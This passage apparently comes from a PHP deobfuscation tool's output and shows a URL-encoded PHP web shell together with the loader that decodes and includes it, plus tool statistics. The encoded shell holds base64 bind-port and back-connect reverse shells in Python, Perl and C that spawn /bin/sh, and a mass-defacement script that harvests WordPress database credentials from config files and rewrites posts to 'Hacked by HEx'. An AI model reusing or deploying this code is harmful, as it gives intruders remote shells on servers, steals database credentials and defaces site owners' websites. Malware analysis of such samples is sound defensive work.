icHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pDQogIGV4Y2VwdCBzb2NrZXQudGltZW91dDoNCiAgICBwcmludCAiVGltT3V0Ig0KICBleGNlcHQgc29ja2V0LmVycm9yLCBlOg0KICAgIHByaW50ICJFcnJvciIsIGUNCnB5YmFja2Nvbm5lY3QoKQ%3D%3D%22%3B%20%24bind%5fport%5fp%20%3D%20%22IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI%2BJkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0%3D%22%3B%20echo%20%22%3Ccenter%3E%3Ch1%3ENetwork%20tools%3C%2Fh1%3E%3Cdiv%20class%3Dcontent%3E%0A%09%3Cform%20name%3D%27nfp%27%20onSubmit%3D%27g%28null%2Cnull%2Cthis.using.value%2Cthis.port.value%2Cthis.pass.value%29%3Breturn%20false%3B%27%3E%3Cbr%3E%0A%09%3Cspan%3EBind%20port%20to%20%2Fbin%2Fsh%3C%2Fspan%3E%3Cbr%2F%3E%0A%09Port%3A%20%3Cinput%20type%3D%27text%27%20name%3D%27port%27%20value%3D%2731337%27%3E%20Password%3A%20%3Cinput%20type%3D%27text%27%20name%3D%27pass%27%3E%20Using%3A%20%3Clabel%3E%3Cselect%20name%3D%27using%27%3E%3Coption%20value%3D%27bpp%27%3EPerl%3C%2Foption%3E%3Coption%20value%3D%27bpc%27%3EC%3C%2Foption%3E%3C%2Fselect%3E%3C%2Flabel%3E%20%3Cinput%20type%3Dsubmit%20value%3D%27submit%27%3E%0A%09%3C%2Fform%3E%3Cbr%3E%0A%09%3Cform%20name%3D%27nfp%27%20onSubmit%3D%27g%28null%2Cnull%2Cthis.using.value%2Cthis.server.value%2Cthis.port.value%29%3Breturn%20false%3B%27%3E%0A%09%3Cspan%3EBack-connect%20to%3C%2Fspan%3E%3Cbr%2F%3E%0A%09Server%3A%20%3Cinput%20type%3D%27text%27%20name%3D%27server%27%20value%3D%22%20.%20%24%5fSERVER%5B%22REMOTE%5fADDR%22%5D%20.%20%22%3E%20Port%3A%20%3Cinput%20type%3D%27text%27%20name%3D%27port%27%20value%3D%2721%27%3E%20Using%3A%20%3Clabel%3E%3Cselect%20name%3D%27using%27%3E%3Coption%20value%3D%27bcpy%27%3EPython%3C%2Foption%3E%3Coption%20value%3D%27bcp%27%3EPerl%3C%2Foption%3E%3Coption%20value%3D%27bcc%27%3EC%3C%2Foption%3E%3C%2Fselect%3E%3C%2Flabel%3E%20%3Cinput%20type%3Dsubmit%20value%3D%27submit%27%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%0A%09%3C%2Fform%3E%3Cbr%3E%22%3B%20if%20%28isset%28%24%5fPOST%5B%22p1%22%5D%29%29%20%7B%20function%20cf%28%24f%2C%20%24t%29%20%7B%20%28%24w%20%3D%20%40fopen%28%24f%2C%20%22w%22%29%29%20or%20%40%24GLOBALS%5B%22tinh%22%5D%5B6%5D%28%22file%5fput%5fcontents%22%29%3B%20if%20%28%24w%29%20%7B%20%40fwrite%28%24w%2C%20%40%24GLOBALS%5B%22tinh%22%5D%5B30%5D%28%24t%29%29%20or%20%40fputs%28%24w%2C%20%40%24GLOBALS%5B%22tinh%22%5D%5B30%5D%28%24t%29%29%20or%20%40file%5fput%5fcontents%28%24f%2C%20%40%24GLOBALS%5B%22tinh%22%5D%5B30%5D%28%24t%29%29%3B%20%40fclose%28%24w%29%3B%20%7D%20%7D%20if%20%28%24%5fPOST%5B%22p1%22%5D%20%3D%3D%20%22bpc%22%29%20%7B%20cf%28%22%2Ftmp%2Fbp.c%22%2C%20%24bind%5fport%5fc%29%3B%20%24%E2%96%96%20%3D%20ex%28%22gcc%20-o%20%2Ftmp%2Fbp%20%2Ftmp%2Fbp.c%22%29%3B%20%40unlink%28%22%2Ftmp%2Fbp.c%22%29%3B%20%24%E2%96%96%20.%3D%20ex%28%22%2Ftmp%2Fbp%20%22%20.%20%24%5fPOST%5B%22p2%22%5D%20.%20%22%20%22%20.%20%24%5fPOST%5B%22p3%22%5D%20.%20%22%20%26%22%29%3B%20echo%20%22%3Cpre%20class%3Dml1%3E%24%E2%96%96%22%20.%20ex%28%22ps%20aux%20%7C%20grep%20bp%22%29%20.%20%22%3C%2Fpre%3E%22%3B%20%7D%20if%20%28%24%5fPOST%5B%22p1%22%5D%20%3D%3D%20%22bpp%22%29%20%7B%20cf%28%22%2Ftmp%2Fbp.pl%22%2C%20%24bind%5fport%5fp%29%3B%20%24%E2%96%96%20%3D%20ex%28which%28%22perl%22%29%20.%20%22%20%2Ftmp%2Fbp.pl%20%22%20.%20%24%5fPOST%5B%22p2%22%5D%20.%20%22%20%26%22%29%3B%20echo%20%22%3Cpre%20class%3Dml1%3E%24%E2%96%96%22%20.%20ex%28%22ps%20aux%20%7C%20grep%20bp.pl%22%29%20.%20%22%3C%2Fpre%3E%22%3B%20%7D%20if%20%28%24%5fPOST%5B%22p1%22%5D%20%3D%3D%20%22bcc%22%29%20%7B%20cf%28%22%2Ftmp%2Fbc.c%22%2C%20%24back%5fconnect%5fc%29%3B%20%24%E2%96%96%20%3D%20ex%28%22gcc%20-o%20%2Ftmp%2Fbc%20%2Ftmp%2Fbc.c%22%29%3B%20%40unlink%28%22%2Ftmp%2Fbc.c%22%29%3B%20%24%E2%96%96%20.%3D%20ex%28%22%2Ftmp%2Fbc%20%22%20.%20%24%5fPOST%5B%22p2%22%5D%20.%20%22%20%22%20.%20%24%5fPOST%5B%22p3%22%5D%20.%20%22%20%26%22%29%3B%20echo%20%22%3Cpre%20class%3Dml1%3E%24%E2%96%96%22%20.%20ex%28%22ps%20aux%20%7C%20grep%20bc%22%29%20.%20%22%3C%2Fpre%3E%22%3B%20%7D%20if%20%28%24%5fPOST%5B%22p1%22%5D%20%3D%3D%20%22bcp%22%29%20%7B%20cf%28%22%2Ftmp%2Fbc.pl%22%2C%20%24back%5fconnect%5fp%29%3B%20%24%E2%96%96%20%3D%20ex%28%20which%28%22perl%22%29%20.%20%22%20%2Ftmp%2Fbc.pl%20%22%20.%20%24%5fPOST%5B%22p2%22%5D%20.%20%22%20%22%20.%20%24%5fPOST%5B%22p3%22%5D%20.%20%22%20%26%22%20%29%3B%20echo%20%22%3Cpre%20class%3Dml1%3E%24%E2%96%96%22%20.%20ex%28%22ps%20aux%20%7C%20grep%20bc.pl%22%29%20.%20%22%3C%2Fpre%3E%22%3B%20%7D%20if%20%28%24%5fPOST%5B%22p1%22%5D%20%3D%3D%20%22bcpy%22%29%20%7B%20cf%28%22%2Ftmp%2Fbc.py%22%2C%20%24back%5fconnect%5fp%29%3B%20%24%E2%96%96%20%3D%20ex%28%20which%28%22perl%22%29%20.%20%22%20%2Ftmp%2Fbc.py%20%22%20.%20%24%5fPOST%5B%22p2%22%5D%20.%20%22%20%22%20.%20%24%5fPOST%5B%22p3%22%5D%20.%20%22%20%26%22%20%29%3B%20echo%20%22%3Cpre%20class%3Dml1%3E%24%E2%96%96%22%20.%20ex%28%22ps%20aux%20%7C%20grep%20bc.py%22%29%20.%20%22%3C%2Fpre%3E%22%3B%20%7D%20%7D%20echo%20%22%3C%2Fdiv%3E%22%3B%20hardFooter%28%29%3B%20%7D%20function%20actionMassuser%28%29%20%7B%20hardHeader%28%29%3B%20echo%20%22%3Ccenter%3E%3Ch1%3EMass%20Title%20Edit%3C%2Fh1%3E%3Cdiv%20class%3Dcontent%3E%3Cbr%3E%22%3B%20%24cgi%5fdir%20%3D%20mkdir%28%22.tmp%22%2C%200755%29%3B%20chdir%28%22.tmp%22%29%3B%20%24cui%20%3D%20fopen%28%22%5Cx2E%5Cx68%5Cx74%5Cx61%5Cx63%5Cx63%5Cx65%5Cx73%5Cx73%22%2C%20%22w%22%29%3B%20fwrite%28%20%24cui%2C%20%24GLOBALS%5B%22tinh%22%5D%5B30%5D%28%20%22PEZpbGVzICoucGhwPgpBbGxvdyBmcm9tIGFsbAo8L0ZpbGVzPg%3D%3D%22%20%29%20%29%3B%20fclose%28%24cui%29%3B%20%24file%5fmass%20%3D%20%22title.php%22%3B%20%24mass%5fscript%20%3D%20%22PD9wSHAKZWNobyI8aHRtbD4KPGhlYWQ%2BCjxzdHlsZT4KaHRtbCB7Cgpjb2xvcjogd2hpdGU7Cn0KaW5wdXRbdHlwZT10ZXh0XSxpbnB1dFt0eXBlPXN1Ym1pdF0gewpiYWNrZ3JvdW5kOiB0cmFuc3BhcmVudDsgCmNvbG9yOndoaXRlOwptYXJnaW46MCAxMHB4Owpmb250LWZhbWlseTpIb21lbmFqZTsKZm9udC1zaXplOjEzcHg7CmJvcmRlcjoycHggc29saWQgIzJkMmIyYjsKfQp0ZXh0YXJlYXsKYmFja2dyb3VuZDp0cmFuc3BhcmVudDsKYm9yZGVyOiAxcHggc29saWQgIzJkMmIyYjsKd2lkdGg6IDEwMCU7CmhlaWdodDogNDAwcHg7CnBhZGRpbmctbGVmdDogNXB4OwptYXJnaW46IDEwcHggYXV0bzsKZm9udC1mYW1pbHk6SG9tZW5hamU7CmNvbG9yOiAjZmZmZmZmOwpmb250LXNpemU6MTNweDsKfQo8L3N0eWxlPiI7CgplcnJvcl9yZXBvcnRpbmcoMCk7CnNldF90aW1lX2xpbWl0KDApOwpAY2xlYXJzdGF0Y2FjaGUoKTsKQGluaV9zZXQoJ2Vycm9yX2xvZycsTlVMTCk7CkBpbmlfc2V0KCdsb2dfZXJyb3JzJywwKTsKQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsMCk7CkBpbmlfc2V0KCdvdXRwdXRfYnVmZmVyaW5nJywwKTsKQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7CmlmKHZlcnNpb25fY29tcGFyZShQSFBfVkVSU0lPTiwgJzUuMy4wJywgJzwnKSl7CiAgICBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7Cn0KZnVuY3Rpb24gR3JhYlVybCgkdXJsLCR0eXBlKXsKCiAgICAgICAgJHVybEFycmF5ID0gYXJyYXkoKTsKCiAgICAgICAgJGNoID0gY3VybF9pbml0KCk7CiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybCk7CiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCB0cnVlKTsKICAgICAgICAkcmVzdWx0ID0gY3VybF9leGVjKCRjaCk7CgogICAgICAgICRyZWdleD0nfDxhLio%2FaHJlZj0iKC4qPykifCc7CiAgICAgICAgcHJlZ19tYXRjaF9hbGwoJHJlZ2V4LCRyZXN1bHQsJHBhcnRzKTsKICAgICAgICAkbGlua3M9JHBhcnRzWzFdOwogICAgICAgIGZvcmVhY2goJGxpbmtzIGFzICRsaW5rKXsKICAgICAgICAgICAgYXJyYXlfcHVzaCgkdXJsQXJyYXksICRsaW5rKTsKICAgICAgICB9CiAgICAgICAgY3VybF9jbG9zZSgkY2gpOwoKICAgICAgICBmb3JlYWNoKCR1cmxBcnJheSBhcyAkdmFsdWUpewogICAgICAgICAgICAkbG9sPSIkdXJsJHZhbHVlIjsKCQkJaWYocHJlZ19tYXRjaCgiIyR0eXBlI2lzIiwgJGxvbCkpIHsKCQkJCWVjaG8gIiRsb2xcclxuIjsKCQkJfQogICAgICAgIH0KfQpmdW5jdGlvbiBhbWJpbEthdGEoJHBhcmFtLCAka2F0YTEsICRrYXRhMil7CiAgICBpZihzdHJwb3MoJHBhcmFtLCAka2F0YTEpID09PSBGQUxTRSkgcmV0dXJuIEZBTFNFOwogICAgaWYoc3RycG9zKCRwYXJhbSwgJGthdGEyKSA9PT0gRkFMU0UpIHJldHVybiBGQUxTRTsKICAgICRzdGFydCA9IHN0cnBvcygkcGFyYW0sICRrYXRhMSkgKyBzdHJsZW4oJGthdGExKTsKICAgICRlbmQgPSBzdHJwb3MoJHBhcmFtLCAka2F0YTIsICRzdGFydCk7CiAgICAkcmV0dXJuID0gc3Vic3RyKCRwYXJhbSwgJHN0YXJ0LCAkZW5kIC0gJHN0YXJ0KTsKICAgIHJldHVybiAkcmV0dXJuOwp9CmVjaG8gIjxjZW50ZXI%2BCjxmb3JtIG1ldGhvZD0ncG9zdCc%2BCkxpbmsgQ29uZmlnOiA8YnI%2BCjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdsaW5rY29uZicgaGVpZ2h0PScxMCcgc2l6ZT0nNTAnIHBsYWNlaG9sZGVyPSdodHRwOi8vdXJsLmNvbS9wcHFfc3ltY29uZmlnLyc%2BPGJyPgo8aW5wdXQgdHlwZT0nc3VibWl0JyBzdHlsZT0nd2lkdGg6IDQ1MHB4OycgbmFtZT0nZ2FzcycgdmFsdWU9J1N1Ym1pdCEhJz4KPC9mb3JtPjwvY2VudGVyPiI7CmlmKCRfUE9TVFsnZ2FzcyddKSB7CgllY2hvICI8Y2VudGVyPgo8Zm9ybSBtZXRob2Q9J3Bvc3QnPgpMaW5rIENvbmZpZzogPGJyPgo8dGV4dGFyZWEgbmFtZT0nbGluayc%2BIjsKR3JhYlVybCgkX1BPU1RbJ2xpbmtjb25mJ10sJ3dvcmRwcmVzcycpOwkKZWNobyI8L3RleHRhcmVhPgoKCTxicj48ZGl2IGRhdGEtcm9sZSA9ICdmaWVsZGNvbnRhaW4nIGNsYXNzID0gJ3VpLWhpZGUtbGFiZWwnIHN0eWxlPSdmbG9hdDpsZWZ0Jz4KICAgICAgICAgICAgPGxhYmVsIGZvcj0nbmFtZSc%2BSUQ6IDwvbGFiZWw%2BCiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSduYW1lJyBpZD0naWQnIHZhbHVlPScxJy8%2BCiAgICAgICAgPC9kaXY%2BCiAgICAgICAgPGRpdiBkYXRhLXJvbGUgPSdmaWVsZGNvbnRhaW4nIGNsYXNzPSAndWktaGlkZS1sYWJlbCcgc3R5bGU9J2Zsb2F0OmxlZnQnPgogICAgICAgICAgICA8bGFiZWwgZm9yPSdzdXJuYW1lJz4gVElUTEU6IDwvbGFiZWw%2BCiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSd0aXRsZScgaWQ9J3N1cm5hbWUnIHZhbHVlPSdIYWNrZWQgQnkgSEV4JyAvPgogICAgICAgIDwvZGl2PgoJCSAgICAgICAgPGRpdiBkYXRhLXJvbGUgPSdmaWVsZGNvbnRhaW4nIGNsYXNzPSAndWktaGlkZS1sYWJlbCcgc3R5bGU9J2Zsb2F0OmxlZnQnPgogICAgICAgICAgICA8bGFiZWwgZm9yPSdzdXJuYW1lJz4gUE9TVCBDT05URU5UOiA8L2xhYmVsPgogICAgICAgICAgICA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nY29udGVudCcgaWQ9J3N1cm5hbWUnIHZhbHVlPSdIYWNrZWQgYnkgSEV4IHwgV2UgQXJlIFBha2lzdGFuaSBIYWNrZXJzIC0sLSBGdWNrIFlvdSBBZG1pbicgLz4KICAgICAgICA8L2Rpdj4KICAgICAgICA8ZGl2IGRhdGEtcm9sZSA9J2ZpZWxkY29udGFpbicgY2xhc3M9ICd1aS1oaWRlLWxhYmVsJyBzdHlsZT0nZmxvYXQ6bGVmdCc%2BCiAgICAgICAgICAgIDxsYWJlbCBmb3I9J3N1cm5hbWUnPiBQT1NUTkFNRTogPC9sYWJlbD4KICAgICAgICAgICAgPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3Bvc3RuYW1lJyBpZD0nc3VybmFtZScgdmFsdWU9J0hhY2tlZCBieSBIRXgnIC8%2BCiAgICAgICAgPC9kaXY%2BIDxicj4KCjxpbnB1dCB0eXBlPSdzdWJtaXQnIHN0eWxlPSd3aWR0aDogNDUwcHg7JyBuYW1lPSdlZGl0dGl0bGUnIHZhbHVlPSdTdWJtaXQhISc%2BCjwvZm9ybT48L2NlbnRlcj4iOwp9CmlmKCRfUE9TVFsnZWRpdHRpdGxlJ10pIHsKCSAgICAgICAgJHRpdGxlID0gaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3RpdGxlJ10pOwogICAgICAgICAgICAgICAgJGlkID0gJF9QT1NUWydpZCddOwogICAgICAgICAgICAgICAgJGNvbnRlbnQgPSAkX1BPU1RbJ2NvbnRlbnQnXTsKICAgICAgICAgICAgICAgICRwb3N0bmFtZSA9ICRfUE9TVFsnbmFtZSddOwoJCWZ1bmN0aW9uIGFudWN1cmwoJHNpdGVzKSB7CiAgICAJCSRjaCA9IGN1cmxfaW5pdCgkc2l0ZXMpOwoJICAgICAgIAkJICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOwoJICAgICAgIAkJICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpOwoJICAgICAgIAkJICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAiTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xOyBydjozMi4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzMyLjAiKTsKCSAgICAgICAJCSAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCA1KTsKCSAgICAgICAJCSAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLCAwKTsKCSAgICAgICAJCSAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllIT1NULCAwKTsKCSAgICAgICAJCSAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwnY29va2llLnR4dCcpOwoJICAgICAgIAkJICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwnY29va2llLnR4dCcpOwoJICAgICAgIAkJICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFU0VTU0lPTix0cnVlKTsKCQkJJGRhdGEgPSBjdXJsX2V4ZWMoJGNoKTsKCQkJCSAgY3VybF9jbG9zZSgkY2gpOwoJCQlyZXR1cm4gJGRhdGE7CgkJfQoJCSRsaW5rID0gZXhwbG9kZSgiXHJcbiIsICRfUE9TVFsnbGluayddKTsKCQlmb3JlYWNoKCRsaW5rIGFzICRkaXJfY29uZmlnKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNvbmZpZyA9IGFudWN1cmwoJGRpcl9jb25maWcpOwoJCQkJJGRiaG9zdCA9IGFtYmlsa2F0YSgkY29uZmlnLCJEQl9IT1NUJywgJyIsIiciKTsKCQkJCSRkYnVzZXIgPSBhbWJpbGthdGEoJGNvbmZpZywiREJfVVNFUicsICciLCInIik7CgkJCQkkZGJwYXNzID0gYW1iaWxrYXRhKCRjb25maWcsIkRCX1BBU1NXT1JEJywgJyIsIiciKTsKCQkJCSRkYm5hbWUgPSBhbWJpbGthdGEoJGNvbmZpZywiREJfTkFNRScsICciLCInIik7CgkJCQkkZGJwcmVmaXggPSBhbWJpbGthdGEoJGNvbmZpZywidGFibGVfcHJlZml4ICA9ICciLCInIik7CgkJCQkkcHJlZml4ID0gJGRicHJlZml4LiJwb3N0cyI7CgkJCQkkb3B0aW9uID0gJGRicHJlZml4LiJvcHRpb25zIjsKCQkJCSRjb25uID0gbXlzcWxfY29ubmVjdCgkZGJob3N0LCRkYnVzZXIsJGRicGFzcyk7CgkJCQkkZGIgPSBteXNxbF9zZWxlY3RfZGIoJGRibmFtZSk7CgkJCQkkcSA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NICRwcmVmaXggT1JERVIgQlkgSUQgQVNDIik7CgkJCQkkcmVzdWx0ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHEpOwoJCQkJJGlkID0gJHJlc3VsdFtJRF07CgkJCQkkcTIgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSAkb3B0aW9uIE9SREVSIEJZIG9wdGlvbl9pZCBBU0MiKTsKCQkJCSRyZXN1bHQyID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHEyKTsKCQkJCSR0YXJnZXQgPSAkcmVzdWx0MltvcHRpb25fdmFsdWVdOwoJCQkJJHVwZGF0ZSA9IG15c3FsX3F1ZXJ5KCJVUERBVEUgJHByZWZpeCBTRVQgcG9zdF90aXRsZT0nJHRpdGxlJyxwb3N0X2NvbnRlbnQ9JyRjb250ZW50Jyxwb3N0X25hbWU9JyRwb3N0bmFtZScscG9zdF9zdGF0dXM9J3B1Ymxpc2gnLGNvbW1lbnRfc3RhdHVzPSdvcGVuJyxwaW5nX3N0YXR1cz0nb3BlbicscG9zdF90eXBlPSdwb3N0Jyxjb21tZW50X2NvdW50PScxJyBXSEVSRSBpZD0nJGlkJyIpOwoJCQkJJHVwZGF0ZSAuPSBteXNxbF9xdWVyeSgiVVBEQVRFICRvcHRpb24gU0VUIG9wdGlvbl92YWx1ZT0nJHRpdGxlJyBXSEVSRSBvcHRpb25fbmFtZT0nYmxvZ25hbWUnIE9SIG9wdGlvbl9uYW1lPSdibG9nZGVzY3JpcHRpb24nIik7CgkJCQllY2hvICI8ZGl2IHN0eWxlPSdtYXJnaW46IDVweCBhdXRvOyc%2BIjsKCQkJCWlmKCR0YXJnZXQgPT0gJycpIHsKCQkJCQllY2hvICJVUkw6IDxmb250IGNvbG9yPXdoaXRlPkVycm9yLCBJIGNhbid0IHRha2UgdGhlIGRvbWFpbiBuYW1lPC9mb250PiAtPiAiOwoJCQkJfSBlbHNlIHsKCQkJCQllY2hvICJVUkw6IDxhIGhyZWY9JyR0YXJnZXQvP3A9JGlkJyB0YXJnZXQ9J19ibGFuayc%2BJHRhcmdldC8%2FcD0kaWQ8L2E%2BIC0%2BICI7CgkJCQl9CgkJCQlpZighJHVwZGF0ZSBPUiAhJGNvbm4gT1IgISRkYikgewoJCQkJCWVjaG8gIjxmb250IGNvbG9yPXdoaXRlPk15U1FMIEVycm9yOiAiLm15c3FsX2Vycm9yKCkuIjwvZm9udD48YnI%2BIjsKCQkJCX0gZWxzZSB7CgkJCQkJZWNobyAiPGZvbnQgY29sb3I9b3JhbmdlPkNoYW5nZWQgU3VjY2VlZC48L2ZvbnQ%2BPGJyPiI7CgkJCQl9CgkJCQllY2hvICI8L2Rpdj4iOwoJCQkJbXlzcWxfY2xvc2UoJGNvbm4pOwoJCQl9CgkJfQo%2FPgo%3D%22%3B%20%24mass%20%3D%20fopen%28%24file%5fmass%2C%20%22w%22%29%3B%20fwrite%28%24mass%2C%20%24GLOBALS%5B%22tinh%22%5D%5B30%5D%28%24mass%5fscript%29%29%3B%20fclose%28%24mass%29%3B%20echo%20%22%3Cbr%3E%3Ccenter%3E%20%3Ciframe%20src%3D%27.tmp%2Ftitle.php%27%20width%3D%27950%27%20height%3D%27600%27%3E%3C%2Fiframe%3E%3C%2Fa%3E%22%3B%20echo%20%22%3C%2Fdiv%3E%22%3B%20hardFooter%28%29%3B%20%7D%20if%20%28empty%28%24%5fPOST%5B%22a%22%5D%29%29%20%7B%20if%20%28isset%28%24%E2%96%9A%29%20%26%26%20%24GLOBALS%5B%22tinh%22%5D%5B6%5D%28%22action%22%20.%20%24%E2%96%9A%29%29%20%7B%20%24%5fPOST%5B%22a%22%5D%20%3D%20%24%E2%96%9A%3B%20%7D%20else%20%7B%20%24%5fPOST%5B%22a%22%5D%20%3D%20%22FilesMan%22%3B%20%7D%20%7D%20if%20%28!empty%28%24%5fPOST%5B%22a%22%5D%29%20%26%26%20%24GLOBALS%5B%22tinh%22%5D%5B6%5D%28%22action%22%20.%20%24%5fPOST%5B%22a%22%5D%29%29%20%7B%20call%5fuser%5ffunc%28%22action%22%20.%20%24%5fPOST%5B%22a%22%5D%29%3B%20%7D%20%3F%3E";
$temp_file = tmpfile();
fwrite($temp_file, rawurldecode($arr));
include stream_get_meta_data($temp_file)['uri'];
fclose($temp_file);

Function Calls

None

Variables

None

Stats

MD5 51d205c77a7401bd1a0ac8b29b7a2ca6
Eval Count 0
Decode Time 1226 ms